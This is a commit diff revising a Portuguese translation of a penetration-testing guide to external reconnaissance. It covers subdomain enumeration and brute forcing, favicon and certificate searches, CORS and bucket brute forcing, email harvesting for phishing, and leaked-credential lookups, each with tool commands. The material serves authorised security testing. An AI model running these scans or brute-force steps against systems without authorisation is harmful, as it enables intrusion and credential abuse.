Translated ['generic-methodologies-and-resources/external-recon-methodol

This commit is contained in:
Translator 2024-04-10 13:40:38 +00:00
parent 864f4fa90e
commit a87bf6a31c
8 changed files with 553 additions and 119 deletions

View file

@ -526,7 +526,8 @@
* [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception.md)
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
* [Clickjacking](pentesting-web/clickjacking.md)
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
* [Client Side Path Traversal](pentesting-web/client-side-path-traversal.md)

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -39,7 +39,7 @@ Outra opção é visitar a página da **Wikipedia** da empresa principal e procu
> Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
### **ASNs**
### **ASN**
Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\
Um **AS** consiste em **blocos** de **endereços IP** que possuem uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.
@ -75,8 +75,8 @@ Pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](http://ip
### **Procurando por vulnerabilidades**
Neste ponto, conhecemos **todos os ativos dentro do escopo**, então, se permitido, você pode executar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) em todos os hosts.\
Também, você pode executar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro para saber como fazer pentest em vários serviços possíveis em execução.\
**Além disso, vale mencionar que você também pode preparar algumas** listas de nomes de usuário **e** senhas **padrão e tentar** forçar a entrada em serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
Além disso, você pode lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro sobre como fazer pentest em vários serviços possíveis em execução.\
**Também, vale mencionar que você pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** forçar a entrada em serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domínios
@ -100,7 +100,7 @@ Você também pode usar uma ferramenta online para essa informação: [http://pt
### **Reverse Whois (loop)**
Dentro de um **whois**, você pode encontrar muitas informações interessantes, como o **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se você realizar **pesquisas de reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
Dentro de um **whois**, você pode encontrar muitas informações interessantes como **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se você realizar **buscas de reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
Você pode usar ferramentas online como:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Grátis**
@ -131,7 +131,7 @@ Existem algumas páginas e ferramentas que permitem pesquisar por esses trackers
### **Favicon**
Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone do favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Veja como usá-la:
Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone de favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Veja como usá-la:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -140,7 +140,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Simplesmente dito, o favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone de favicon que nosso alvo.
Além disso, você também pode pesquisar tecnologias usando o hash de favicon, conforme explicado neste [**post de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você conhece o **hash do favicon de uma versão vulnerável de uma tecnologia web**, você pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
Além disso, você também pode pesquisar tecnologias usando o hash de favicon, conforme explicado neste [**post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você conhece o **hash do favicon de uma versão vulnerável de uma tecnologia web**, você pode pesquisar no shodan e **encontrar mais locais vulneráveis**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -157,25 +157,27 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```
### **Direitos autorais / String exclusiva**
### **Direitos autorais / String única**
Pesquise nas páginas da web **strings que podem ser compartilhadas em diferentes sites na mesma organização**. A **string de direitos autorais** poderia ser um bom exemplo. Em seguida, pesquise essa string no **Google**, em outros **navegadores** ou até mesmo no **Shodan**: `shodan search http.html:"String de direitos autorais"`
### **Tempo CRT**
É comum ter um trabalho cron, como
É comum ter um trabalho cron como
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### Metodologia de Reconhecimento Externo
Para renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a AC usada para isso não defina a hora em que foi gerado no tempo de Validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência do certificado**.\
### Renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a AC usada para isso não defina a hora em que foi gerado no tempo de Validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência do certificado**.\
Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Informações do DMARC de E-mail
Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios que compartilham as mesmas informações do dmarc**.
### **Assunção Passiva**
Aparentemente, é comum as pessoas atribuírem subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **perderem esse endereço IP, mas esquecerem de remover o registro DNS**. Portanto, apenas **iniciando uma VM** em uma nuvem (como Digital Ocean), você estará realmente **assumindo o controle de alguns subdomínios**.
Aparentemente é comum as pessoas atribuírem subdomínios a IPs que pertencem a provedores de nuvem e em algum momento **perdem esse endereço IP, mas esquecem de remover o registro DNS**. Portanto, apenas **iniciando uma VM** em uma nuvem (como Digital Ocean) você estará na verdade **assumindo o controle de alguns subdomínios**.
[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **inicia uma VM na DigitalOcean**, **obtém** o **IPv4** da nova máquina e **pesquisa no Virustotal por registros de subdomínios** apontando para ele.
@ -185,23 +187,23 @@ Aparentemente, é comum as pessoas atribuírem subdomínios a IPs que pertencem
**Shodan**
Como você já sabe o nome da organização que possui o espaço IP. Você pode pesquisar por esses dados no Shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados em busca de novos domínios inesperados no certificado TLS.
Como você já sabe o nome da organização que possui o espaço IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados em busca de novos domínios inesperados no certificado TLS.
Você poderia acessar o **certificado TLS** da página web principal, obter o **nome da organização** e então procurar por esse nome dentro dos **certificados TLS** de todas as páginas web conhecidas pelo **Shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Você poderia acessar o **certificado TLS** da página web principal, obter o **nome da Organização** e então procurar por esse nome dentro dos **certificados TLS** de todas as páginas web conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, muito incrível.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, muito incrível.
### **Procurando por vulnerabilidades**
Verifique por algum [domínio assumido](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas tenha **perdido a propriedade**. Apenas registre-o (se for barato o suficiente) e avise a empresa.
Verifique se há algum [domínio para assumir](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidades básica** (usando Nessus ou OpenVAS) e alguma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
_Obs.: Às vezes, o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **verificação básica de vulnerabilidades** (usando Nessus ou OpenVAS) e uma [**verificação de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
_Obs.: Às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -211,9 +213,13 @@ _Obs.: Às vezes, o domínio está hospedado dentro de um IP que não é control
É hora de encontrar todos os possíveis subdomínios de cada domínio encontrado.
{% hint style="success" %}
Observe que algumas das ferramentas e técnicas para encontrar domínios também podem ajudar a encontrar subdomínios!
{% endhint %}
### **DNS**
Vamos tentar obter **subdomínios** dos **registros DNS**. Também devemos tentar a **Transferência de Zona** (Se vulnerável, você deve relatar).
Vamos tentar obter **subdomínios** dos registros de **DNS**. Também devemos tentar a **Transferência de Zona** (Se vulnerável, você deve relatar).
```bash
dnsrecon -a -d tesla.com
```
@ -300,7 +306,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** recupera URLs conhecidos do Open Threat Exchange da AlienVault, do Wayback Machine e do Common Crawl para qualquer domínio fornecido.
* [**gau**](https://github.com/lc/gau)**:** recupera URLs conhecidos do AlienVault's Open Threat Exchange, do Wayback Machine e do Common Crawl para qualquer domínio fornecido.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -320,7 +326,7 @@ shodan domain <domain>
# Get other pages with links to subdomains
shodan search "http.html:help.domain.com"
```
* [**Localizador de subdomínios Censys**](https://github.com/christophetd/censys-subdomain-finder)
* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
```bash
export CENSYS_API_ID=...
export CENSYS_API_SECRET=...
@ -333,15 +339,15 @@ python3 DomainTrail.py -d example.com
* [**securitytrails.com**](https://securitytrails.com/) tem uma API gratuita para pesquisar subdomínios e histórico de IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Este projeto oferece de **forma gratuita todos os subdomínios relacionados aos programas de recompensa por bugs**. Você pode acessar esses dados também usando [chaospy](https://github.com/dr-0x0x/chaospy) ou até mesmo acessar o escopo usado por este projeto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Este projeto oferece gratuitamente todos os subdomínios relacionados aos programas de recompensa por bugs. Você também pode acessar esses dados usando [chaospy](https://github.com/dr-0x0x/chaospy) ou até mesmo acessar o escopo usado por este projeto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
Você pode encontrar uma comparação de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force**
Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio.
Vamos tentar encontrar novos subdomínios forçando servidores DNS usando possíveis nomes de subdomínio.
Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
Para esta ação, você precisará de algumas listas de palavras comuns de subdomínios como:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -349,7 +355,7 @@ Para esta ação, você precisará de algumas **listas de palavras comuns de sub
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você pode usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
As ferramentas mais recomendadas para brute force de DNS são:
@ -367,7 +373,7 @@ gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
* [**puredns**](https://github.com/d3mondev/puredns): Também utiliza o `massdns`.
* [**puredns**](https://github.com/d3mondev/puredns): Também utiliza `massdns`.
```
puredns bruteforce all.txt domain.com
```
@ -375,7 +381,7 @@ puredns bruteforce all.txt domain.com
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Segunda Rodada de Força Bruta no DNS
### Segunda Rodada de Força Bruta de DNS
Após encontrar subdomínios usando fontes abertas e força bruta, você pode gerar alterações nos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:
@ -393,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Além de gerar permutações de subdomínios, também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente).
* Você pode obter a lista de palavras de permutação do altdns **aqui** (https://github.com/infosec-au/altdns/blob/master/words.txt).
* Você pode obter a **lista de palavras** de permutações do altdns [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -419,7 +425,7 @@ echo www | subzuf facebook.com
```
### **Fluxo de Descoberta de Subdomínio**
Confira este post no blog que escrevi sobre como **automatizar a descoberta de subdomínios** de um domínio usando **fluxos de trabalho Trickest** para que eu não precise iniciar manualmente um monte de ferramentas no meu computador:
Confira este post no blog que escrevi sobre como **automatizar a descoberta de subdomínios** de um domínio usando **fluxos de trabalho Trickest** para que eu não precise lançar manualmente um monte de ferramentas no meu computador:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -453,15 +459,15 @@ VHostScan -t example.com
Com esta técnica, você pode até mesmo ser capaz de acessar endpoints internos/ocultos.
{% endhint %}
### **Força Bruta de CORS**
### **Força Bruta CORS**
Às vezes, você encontrará páginas que só retornam o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nestes cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Forçar Buckets**
### **Força Bruta em Buckets**
Ao procurar por **subdomínios**, fique atento para ver se ele está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Além disso, neste ponto, você conhecerá todos os domínios dentro do escopo, tente [**forçar possíveis nomes de buckets e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitoramento**
@ -473,7 +479,7 @@ Você pode **monitorar** se **novos subdomínios** de um domínio são criados m
Verifique possíveis [**apropriações de subdomínio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidade básica** (usando Nessus ou OpenVAS) e alguma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
Se encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidade básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
_Obs: às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
## IPs
@ -489,15 +495,15 @@ Você também pode verificar os domínios que apontam para um endereço IP espec
### **Procurando por vulnerabilidades**
**Varredure todas as portas dos IPs que não pertencem a CDNs** (pois provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
**Varredure todos os IPs que não pertencem a CDNs** (pois provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
**Encontre um** [**guia**](../pentesting-network/) **sobre como escanear hosts.**
## Caça a servidores web
## Caça a Servidores Web
> Encontramos todas as empresas e seus ativos e conhecemos as faixas de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e domínios descobertos**, então você pode ter **encontrado todos os possíveis servidores web**. No entanto, se não tivermos, vamos ver agora alguns **truques rápidos para procurar servidores web** dentro do escopo.
Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e domínios descobertos**, então você pode ter **encontrado todos os possíveis servidores web**. No entanto, se não tivermos, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
Por favor, note que isso será **orientado para a descoberta de aplicativos da web**, então você deve **realizar a vulnerabilidade** e a **varredura de portas** também (**se permitido** pelo escopo).
@ -513,7 +519,7 @@ Agora que você descobriu **todos os servidores web** presentes no escopo (entre
Para realizar a ideia proposta, você pode usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Além disso, você poderia então usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para percorrer todas as **capturas de tela** e dizer o que provavelmente contém vulnerabilidades e o que não.
Além disso, você poderia então usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para percorrer todas as **capturas de tela** e dizer o que provavelmente contém vulnerabilidades e o que não contém.
## Ativos de Nuvem Pública
@ -537,7 +543,7 @@ Se você encontrar coisas como **buckets abertos ou funções de nuvem expostas*
## E-mails
Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem tudo o que **precisa para começar a procurar e-mails**. Estes são os **APIs** e **ferramentas** que funcionaram melhor para mim para encontrar e-mails de uma empresa:
Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem tudo o que **precisa para começar a procurar e-mails**. Estas são as **APIs** e **ferramentas** que funcionaram melhor para mim para encontrar e-mails de uma empresa:
* [**theHarvester**](https://github.com/laramies/theHarvester) - com APIs
* API do [**https://hunter.io/**](https://hunter.io/) (versão gratuita)
@ -546,11 +552,11 @@ Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem
### **Procurando por vulnerabilidades**
Os e-mails serão úteis mais tarde para **bruteforce em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, esses APIs lhe darão ainda mais **informações sobre a pessoa** por trás do e-mail, o que é útil para a campanha de phishing.
Os e-mails serão úteis mais tarde para **bruteforce em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do e-mail, o que é útil para a campanha de phishing.
## Vazamentos de Credenciais
Com os **domínios**, **subdomínios** e **e-mails**, você pode começar a procurar credenciais vazadas no passado pertencentes a esses e-mails:
Com os **domínios**, **subdomínios** e **e-mails**, você pode começar a procurar por credenciais vazadas no passado pertencentes a esses e-mails:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
@ -565,7 +571,7 @@ Vazamentos de credenciais estão relacionados a hacks de empresas onde **informa
### Vazamentos do Github
Credenciais e APIs podem ser vazados nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa do github.\
Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa no github.\
Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Leakos) para **baixar** todos os **repositórios públicos** de uma **organização** e de seus **desenvolvedores** e executar [**gitleaks**](https://github.com/zricethezav/gitleaks) automaticamente sobre eles.
**Leakos** também pode ser usado para executar **gitleaks** em todos os **textos** fornecidos **URLs passadas** para ele, pois às vezes **páginas da web também contêm segredos**.
@ -585,7 +591,7 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos)
### Dorks do Google
Os dorks antigos, mas valiosos do Google, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de consultas possíveis que você não pode executar manualmente. Portanto, você pode escolher suas 10 favoritas ou usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
Os dorks antigos, mas valiosos do Google, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém várias **milhares** de consultas possíveis que você não pode executar manualmente. Portanto, você pode escolher suas 10 favoritas ou usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
_Obs: As ferramentas que esperam executar todo o banco de dados usando o navegador regular do Google nunca terminarão, pois o Google bloqueará você muito em breve._
@ -608,13 +614,13 @@ Também existem serviços gratuitos que permitem que você **escaneie repositór
* [**Snyk**](https://app.snyk.io/)
## [**Metodologia de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicação web**, e você pode [**encontrar essa informação aqui**](../../network-services-pentesting/pentesting-web/).
A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicativos web**, e você pode [**encontrar essa informação aqui**](../../network-services-pentesting/pentesting-web/).
Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora você não deva esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para obter algumas informações web iniciais.**
## Recapitulação
> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básica porque muitas outras enumerações podem ser feitas (veremos mais truques depois).
> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básico porque muitas outras enumerações podem ser feitas (veremos mais truques depois).
Então você já:
@ -641,9 +647,9 @@ Existem várias ferramentas por aí que executarão parte das ações propostas
* Todos os cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -657,6 +663,6 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
